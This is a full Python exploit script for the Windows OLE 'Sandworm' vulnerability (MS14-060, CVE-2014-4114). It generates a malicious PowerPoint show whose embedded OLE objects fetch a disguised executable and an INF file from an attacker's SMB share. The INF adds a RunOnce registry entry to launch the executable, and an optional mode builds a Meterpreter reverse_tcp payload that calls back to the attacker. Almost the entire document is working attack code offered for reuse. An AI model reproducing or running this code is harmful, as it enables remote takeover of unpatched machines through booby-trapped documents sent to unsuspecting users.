Microsoft Windows – OLE Remote Code Execution ‘Sandworm’ (MS14-060)
# !/usr/bin/python # Windows OLE RCE Exploit MS14-060 (CVE-2014-4114) Sandworm # Author: Mike Czumak (T_v3rn1x) - @SecuritySift # Written: 10/21/2014 # Tested Platform(s): Windows 7 SP1 (w/ exploit script run on Kali Linux) # You are free to reuse this code in part or in whole with the exception of commercial applications # For a demo of this PoC, see http://www.securitysift.com/windows-ole-rce-exploit-ms14-060/ import sys, os import zipfile import argparse import subprocess from shutil import copyfile from pptx import Presentation # Args/Usage def get_args(): parser = argparse.ArgumentParser( prog="ms14_060.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= '''This script will build a blank PowerPoint show (ppsx) file to exploit the OLE Remote Code Execution vulnerability identified as MS14-060 (CVE-2014-4114) Simply pass filename of resulting PPSX and IP Address of remote machine hosting the share. You can add content to the PPSX file after it has been created. The script will also create the INF file and an optional Meterpreter reverse_tcp executable with the -m switch. Alternatively, you can host your own exectuble payload. Host the INF and GIF (EXE) in an SMB share called "share". Note: Requires python-pptx''') parser.add_argument("filename", help="Name of resulting PPSX exploit file") parser.add_argument("ip", help="IP Address of Remote machine hosting the share") parser.add_argument("-m", "--msf", help="Set if you want to create Meterpreter gif executable. Pass port (uses ip arg)") args = parser.parse_args() return args # write file def write_file(filename, contents): f = open(filename, "w") f.write(contents) f.close() # build bin def build_bin(embed, ip, share, file): bin = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # ole header bin = bin + "\x00" * 16 bin = bin + "\x3E\x00\x03\x00\xFE\xFF\x09\x00" bin = bin + "\x06\x00\x00\x00\x00\x00\x00\x00" bin = bin + "\x00\x00\x00\x00\x01\x00\x00\x00" bin = bin + "\x01\x00\x00\x00\x00\x00\x00\x00" bin = bin + "\x00\x10\x00\x00\x02\x00\x00\x00" bin = bin + "\x01\x00\x00\x00\xFE\xFF\xFF\xFF" bin = bin + "\x00\x00\x00\x00\x00\x00\x00\x00" bin = bin + "\xFF" * 432 bin = bin + "\xFD\xFF\xFF\xFF\xFE\xFF\xFF\xFF" bin = bin + "\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF" bin = bin + "\xFF" * 496 bin = bin + "\x52\x00\x6F\x00\x6F\x00\x74\x00" bin = bin + "\x20\x00\x45\x00\x6E\x00\x74\x00" bin = bin + "\x72\x00\x79\x00\x00\x00\x00\x00" bin = bin + "\x00" * 40 bin = bin + "\x16\x00\x05\x00\xFF\xFF\xFF\xFF" bin = bin + "\xFF\xFF\xFF\xFF\x01\x00\x00\x00" bin = bin + "\x02\x26\x02\x00\x00\x00\x00\x00" bin = bin + "\xC0\x00\x00\x00\x00\x00\x00\x46" bin = bin + "\x00" * 12 bin = bin + "\xF0\x75\xFD\x41\x63\xB2\xCF\x01" bin = bin + "\x03\x00\x00\x00\x40\x00\x00\x00" bin = bin + "\x00\x00\x00\x00\x01\x00\x4F\x00" bin = bin + "\x4C\x00\x45\x00\x31\x00\x30\x00" bin = bin + "\x4E\x00\x61\x00\x74\x00\x69\x00" bin = bin + "\x76\x00\x65\x00\x00\x00\x00\x00" bin = bin + "\x00" * 36 bin = bin + "\x1A\x00\x02\x01" bin = bin + "\xFF" * 12 bin = bin + "\x00" * 40 bin = bin + "\x37" bin = bin + "\x00" * 75 bin = bin + "\xFF" * 12 bin = bin + "\x00" * 116 bin = bin + "\xFF" * 12 bin = bin + "\x00" * 48 bin = bin + "\xFE" bin = bin + "\xFF" * 511 bin = bin + "\x33\x00\x00\x00" + embed + "\x00" # 3 EmbeddedStgX.txt bin = bin + "\x5C\x5C" + ip + "\x5C" + share + "\x5C" + file # \\ip\share\file bin = bin + "\x00" * 460 return bin # build ppt/drawings/vmlDrawing1.vml def build_vml(): xml = '<xml xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:p="urn:schemas-microsoft-com:office:powerpoint" xmlns:oa="urn:schemas-microsoft-com:office:activation">' xml = xml + '<o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">' xml = xml + '<v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/>' xml = xml + '<v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas>' xml = xml + '<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute; left:100pt;top:-100pt;width:30pt;height:30pt"><v:imagedata o:relid="rId1" o:title=""/></v:shape><v:shape id="_x0000_s1027" type="#_x0000_t75" style="position:absolute; left:150pt;top:-100pt;width:30pt;height:30pt">' xml = xml + '<v:imagedata o:relid="rId2" o:title=""/></v:shape></xml>' return xml # build ppt/slides/_rels/slide1.xml.rels def build_xml_rels(ole1, ole2): xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml = xml + '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole1 + '"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole2 + '"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml"/></Relationships>' return xml def build_xml_slide1(): xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml = xml + '<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:cSld><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="4" name="Object 3"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1270000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1026" name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="5" name="Object 4"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1905000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1027" name="Packager Shell Object" r:id="rId4" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr><p:transition><p:zoom/></p:transition><p:timing><p:tnLst><p:par><p:cTn id="1" dur="indefinite" restart="never" nodeType="tmRoot"><p:childTnLst><p:seq concurrent="1" nextAc="seek"><p:cTn id="2" dur="indefinite" nodeType="mainSeq"><p:childTnLst><p:par><p:cTn id="3" fill="hold"><p:stCondLst><p:cond delay="indefinite"/><p:cond evt="onBegin" delay="0"><p:tn val="2"/></p:cond></p:stCondLst><p:childTnLst><p:par><p:cTn id="4" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="5" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="withEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="6" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="7" fill="hold"><p:stCondLst><p:cond delay="1000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="8" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="9" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="-3"><p:cBhvr><p:cTn id="10" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="11" fill="hold"><p:stCondLst><p:cond delay="2000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="12" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="13" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="3"><p:cBhvr><p:cTn id="14" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn><p:prevCondLst><p:cond evt="onPrev" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:prevCondLst><p:nextCondLst><p:cond evt="onNext" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:nextCondLst></p:seq></p:childTnLst></p:cTn></p:par></p:tnLst></p:timing></p:sld>' return xml # build [Content_Types].xml def build_xml_content_types(): xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml = xml + '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.presentationml.printerSettings"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="wmf" ContentType="image/x-wmf"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/ppt/embeddings/oleObject2.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>' return xml # build remotely hosted inf file def build_inf(gif): exe = gif.split('.')[0] + '.exe' inf = '[Version]\n' inf = inf + 'Signature = "$CHICAGO$"\n' inf = inf + 'Class=61883\n' inf = inf + 'ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n' inf = inf + 'Provider=%Microsoft%\n' inf = inf + 'DriverVer=06/21/2006,6.1.7600.16385\n' inf = inf + '[DestinationDirs]\n' inf = inf + 'DefaultDestDir = 1\n' inf = inf + '[DefaultInstall]\n' inf = inf + 'RenFiles = RxRename\n' inf = inf + 'AddReg = RxStart\n' inf = inf + '[RxRename]\n' inf = inf + exe + ', ' + gif + '\n' inf = inf + '[RxStart]\n' inf = inf + 'HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\' + exe return inf # build blank pptx file with python-pptx def build_presentation(filename): prs = Presentation() slide_layout = prs.slide_layouts[6] # blank slide slide = prs.slides.add_slide(slide_layout) prs.save(filename) return # build metasploit meterpreter reverse_tcp payload def build_msfpayload(ip, port, file): cmd = 'msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s' % (ip, port, file) run_cmd= subprocess.check_output(cmd, shell=True) subprocess.call(run_cmd, shell=True) print '[*] Meterpreter Reverse TCP EXE [%s] created.' % (file) ################################################# ############### Main ############### ################################################# def main(): print print '=============================================================================' print '| PowerPoint OLE Remote Code Execution (MS14-060 | CVE-2014-4114) |' print '| Author: Mike Czumak (T_v3rn1x) - @SecuritySift |' print '=============================================================================\n' args = get_args() # get the cl args ip = args.ip share = "share" ole1 = "oleObject1.bin" ole2 = "oleObject2.bin" vml = "vmlDrawing1.vml" pptx = "tmp.pptx" gif = "slide1.gif" inf = "slides.inf" # build meterpreter reverse tcp gif file (optional) if args.msf: print "[i] Building metasploit reverse_tcp executable" build_msfpayload(args.ip, args.msf, gif) # build the bin, inf and vml files gif_bin = build_bin("EmbeddedStg1.txt", ip, share, gif) inf_bin = build_bin("EmbeddedStg2.txt", ip, share, inf) draw_vml = build_vml() rem_inf = build_inf(gif) write_file(inf, rem_inf) print ("[*] INF file [%s] created " % inf) # build the xml files xml_rel = build_xml_rels(ole1, ole2) xml_slide1 = build_xml_slide1() xml_content = build_xml_content_types() # build blank temp pptx presentation to convert to ppsx build_presentation(pptx) zippptx = pptx + ".zip" os.rename(pptx, zippptx) # rename to zip for modification # open temp pptx and a copy for modification zin = zipfile.ZipFile(zippptx, 'r') zippptx_copy = "copy_" + zippptx zout = zipfile.ZipFile(zippptx_copy, "w") # modify the pptx template with exploit for item in zin.infolist(): if (item.filename == "ppt/slides/slide1.xml"): zout.writestr(item, xml_slide1) # replace slide 1 contents elif (item.filename == "ppt/slides/_rels/slide1.xml.rels"): zout.writestr(item, xml_rel) # replace slide 1 rels elif (item.filename == "[Content_Types].xml"): zout.writestr(item, xml_content) # replace content_types else: buffer = zin.read(item.filename) zout.writestr(item,buffer) # use existing file zout.writestr("ppt/embeddings/" + ole1, gif_bin) zout.writestr("ppt/embeddings/"+ole2, inf_bin) zout.writestr("ppt/drawings/vmlDrawing1.vml", draw_vml) zout.close() zin.close() # convert to ppsx os.rename(zippptx_copy, args.filename) os.remove(zippptx) print ("[*] Exploit PPSX file [%s] created" % (args.filename)) print ("[i] Place INF and GIF (EXE) payload file (called %s) in an SMB share called 'share'" % (gif)) print if __name__ == '__main__': main() |